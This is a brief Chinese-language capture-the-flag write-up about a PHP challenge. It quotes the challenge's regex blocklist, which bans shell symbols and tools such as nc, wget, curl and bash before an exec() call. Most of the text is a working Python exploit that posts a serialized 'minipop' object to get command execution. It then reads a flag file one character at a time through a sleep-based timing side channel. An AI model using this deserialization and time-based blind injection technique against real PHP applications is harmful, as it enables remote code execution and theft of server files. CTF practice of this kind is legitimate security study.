RCE!!!!

这个bash盲注…限制的太死了吧

if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code); 

exp

import time
import requests

url = "http://bcdad1a5-6014-4594-a8b5-c4c03f581147.node4.buuoj.cn:81/"
result = ""

for i in range(1, 15):
    for j in range(1, 50):
        # ascii码表
        for k in range(32, 127):
            k = chr(k)
            payload = f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
            length = len(payload)
            payload2 = {
                "payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length, payload)
            }
            t1 = time.time()
            r = requests.post(url=url, data=payload2)
            t2 = time.time()
            if t2 - t1 > 1.5:
                result += k
                print(result)
    result += " "